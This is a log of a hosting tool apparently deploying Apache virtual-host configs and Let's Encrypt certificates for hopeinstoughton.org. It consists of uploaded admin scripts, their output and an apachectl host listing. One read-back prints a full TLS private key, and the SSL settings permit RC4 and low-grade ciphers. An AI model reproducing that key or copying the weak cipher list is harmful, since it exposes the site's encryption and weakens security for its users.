chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-15 06:00:17: 

chmod 755 /tmp/pkp521193; /tmp/pkp521193; rm /tmp/pkp521193

2025-12-15 06:00:17: 


dir=/etc/ssl/certs


2025-12-15 06:00:17: 

PUT: /tmp/pkp305244

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-15 06:00:17: 

chmod 755 /tmp/pkp305244; /tmp/pkp305244; rm /tmp/pkp305244

2025-12-15 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-12-15 06:00:17: 

PUT: /tmp/pkp521635

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi


2025-12-15 06:00:17: 

chmod 755 /tmp/pkp521635; /tmp/pkp521635; rm /tmp/pkp521635

2025-12-15 06:00:17: 




2025-12-15 06:00:17: 

PUT: /tmp/pkp786037

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-15 06:00:17: 

chmod 755 /tmp/pkp786037; /tmp/pkp786037; rm /tmp/pkp786037

2025-12-15 06:00:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18: 

PUT: /tmp/pkp346978

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-15 06:00:18: 

chmod 755 /tmp/pkp346978; /tmp/pkp346978; rm /tmp/pkp346978

2025-12-15 06:00:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:18: 

PUT: /tmp/pkp563816

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:18: 

chmod 755 /tmp/pkp563816; /tmp/pkp563816; rm /tmp/pkp563816

2025-12-15 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf	1690
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-12-15 06:00:18: 

PUT: /tmp/pkp386660

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:18: 

chmod 755 /tmp/pkp386660; /tmp/pkp386660; rm /tmp/pkp386660

2025-12-15 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt	5409
19:af:73:e6:a0:15:48:7b:38:99:17:a8:8c:1a:4e:fd

-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBXEG3cXF6jPlfkZ1ZP6cNb/mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTQ2WhcNMjYwMzE1MDUwMTQ1WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAmvaYOOcC4QS2sBNPi1TyGSEF4STz3lRt+oWMrsN9UMwhWaauW0YLJIWU
UKdkdGPfavzmHgzT3qTmZ60Zn8JfKgduIWvrrqRmvb0s8+uk8dIzCtb8rPrjOSuQ
SLfQl9btiE+794FJW1bk6vnHLeX/7wm9x2H7T+kYWxTrjq5p6j0gjKuSoR5eD23w
xLkfACvWfrCmXb8s66L+T4VPg+Xq+VH3CO8QnoKvUD2+MlPobsZPqBtTN5SKaxUL
+1OnbT1SmnRRKLixbE0EyUnIaBC5Lsuo+rDj3BXBXzw1EwSDxthbfvKaWkELbgZm
Ln6OtZQWBg/WaBMP80ccopsL4W6B9wIDAQABo4ICRjCCAkIwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRZ8Adtli2J1l2/SR1PWv0VDqO8eTAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAz
LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmyCYY0YAAAQDAEcwRQIgIuGX4AG2AjhQKtM4DY8M
112TgeWj6XwSee7R4ASoS5UCIQCa3zgn5CLy56JUBoS+lbKiqxOZZFLo7VW8ucsf
OUTtUwB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABmyCYZUsA
CAAABQAkjmC0BAMASDBGAiEArymdMI46G1SSsbGPr1XovGxgeee+nL0W0kwQ3fMP
PXICIQC2Z2aiS0dVE9kVGzp8tchblLqmBxKyg0f24wDMfebXJjANBgkqhkiG9w0B
AQsFAAOCAQEAWZrMjJTAOlDkGeybly+Wt+ADjM+4KQ+ba46trkmtBw7GIJfLFifj
okGBsvvSWjL7O9PhN6sd7YFB79Bh+NKxj1D/3Ig+hKyaFt6YBAlWRe3NEZsTMp3A
B8D6M8FAxb9+W0eGSuXxcUNPYDYQJHR011Etva7cGX9b8D6jr6wy1m/pQ1dxN5p6
GVtTVcuo/nEgsilNK9blDq9L91pO0HCp0anP4frDKIwFKQ0cpdEkmhBjydDuxkOd
Wo7MIFgR1mJPe+cdkz415TQvItJ7QY517KprplrfLYpUWqEzlRF7y2t7f1mFwrEP
x2reG3zafStL71tYxcQYbE7kPHiyl6j/mQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCa9pg45wLhBLaw
E0+LVPIZIQXhJPPeVG36hYyuw31QzCFZpq5bRgskhZRQp2R0Y99q/OYeDNPepOZn
rRmfwl8qB24ha+uupGa9vSzz66Tx0jMK1vys+uM5K5BIt9CX1u2IT7v3gUlbVuTq
+cct5f/vCb3HYftP6RhbFOuOrmnqPSCMq5KhHl4PbfDEuR8AK9Z+sKZdvyzrov5P
hU+D5er5UfcI7xCegq9QPb4yU+huxk+oG1M3lIprFQv7U6dtPVKadFEouLFsTQTJ
SchoELkuy6j6sOPcFcFfPDUTBIPG2Ft+8ppaQQtuBmYufo61lBYGD9ZoEw/zRxyi
mwvhboH3AgMBAAECggEAHcFL6WEyRFLLYXPTykU9V2Xn4xtdWEuN8pTCNqyC24jW
vogq4ovIh/K+T95Ug6TJuZll9k8wP4gaVb3/NZX0//T9SJ2YW6hlsfkpMI0G1wgt
lN9DFVP3XXrn8Y6aFw3F/m6RAS1qEIfW3OepPz7yrcuJDUfbIbT4YETcFkGXRMq7
fjb5DjO+GHuQ1NBIXst5IGGSN68EeHZIW8mJtMW1Ge+pPPb6qwh47s+vG33Woecn
/s5lk1AYZHaUhp9xQaoKAgg++7G/TLrgU9jmiqOJCtul4uQvOUiJOGK3nGQBxkTC
5pnA91nQpBTIW0d+AldMPjENpaMlyeVLmKogytLZQQKBgQDJz6Xkb3aKvCF8y5Qa
4rSzX+KhqTHJ8KqtVZO1LGKEh1Q+jL55zOx6mZtD666U2+6lNIGUCBFKHQ4JlKtj
78QGYZwAXzTfDwp5P8nMTr94eMXrLtgNtyo6V/Kxl/QsMV0EemwuCtCN70B/CrE4
gG1krLgzwIN31vZukBtA8yCkWwKBgQDEkqhxDw5ErHMo8H8SdJ6F/eAHxZ2Tpu/W
OTaoiQAGmE1m2udcWhEpVfNnqIS75jary4Qs14Op/0dv0s2I9dbNXB12TSlvxV+S
4vxGPT35TE38UhIUhw+bMLUWyMhyELXnoXsKJtvnKQ7ivpOyxeMujVA701LR8hni
rksyLI/blQKBgFCxu9aMjyzILue0i0L41WJH+9nCSotBtS1b45T062uspQ3hvyP6
wbAADapp6cPR8SmTxiBH3Ynx9jP0g1eRfqNCkls/tmden0R+MhWEg2ELgbAZagCJ
9dOgaQWECflFv7jTrr/2SRAH05U41EYQbC1uNrVSy/62MJFjA9LDpJCzAoGAI/Ht
ez8VjNk79bCEjAtnMXlLDiDEv8s28CVmKUtkBdCz1qsQw4J0wOpGqB3Yp8NhG+kL
Mmf2W4+isIALtY++x66gdJGHkji1UVbQaseoHX4mhI09YSORZv9xHcl5XeJQYRrW
NPUGIS8Q2cWfnIEzGcAde9MYwetTcHAOsA4WAEECgYEAg4wforSWLwnfiuhfp37N
jtN7cyNgDTkswYoYp/kwlsJURVewljtsC0+7oxRtN9kpMS0eRC4fhI1p4C+XEn6O
sbDABqPkt31gcRSSAkjJLXBXu9OiqAAiEe3dKQft9bVuvdOOarCABpRLZUcwr7hr
3IU+uPXQ4MC89MYl09eGC74=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18: 

PUT: /tmp/pkp278172

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-15 06:00:19: 

chmod 755 /tmp/pkp278172; /tmp/pkp278172; rm /tmp/pkp278172

2025-12-15 06:00:19: 


1


2025-12-15 06:00:20: Establishing a connection
2025-12-15 06:00:20: 

PUT: /tmp/pkp172482

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30


2025-12-15 06:00:20: 

chmod 755 /tmp/pkp172482; /tmp/pkp172482; rm /tmp/pkp172482

2025-12-15 06:00:20: 




2025-12-15 06:00:25: Establishing a connection
2025-12-15 06:00:25: 

PUT: /tmp/pkp623422

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30


2025-12-15 06:00:26: 

chmod 755 /tmp/pkp623422; /tmp/pkp623422; rm /tmp/pkp623422

2025-12-15 06:00:26: 




2025-12-15 06:00:26: Establishing a connection
2025-12-15 06:00:26: 

PUT: /tmp/pkp290244

#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt

cat > $temp_file <<'endmsg'
0e:14:8b:61:48:ec:da:d4:09:25:29:7b:c1:78:ae:a3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBS7YK3EJBDrSldTWLr7PKZ1MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTU1WhcNMjYwMzE1MDUwMTU0WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKihO6UG/Gx1R+G3dNdJgMZs1C+1R7SXuYp077WK+TZPacnP
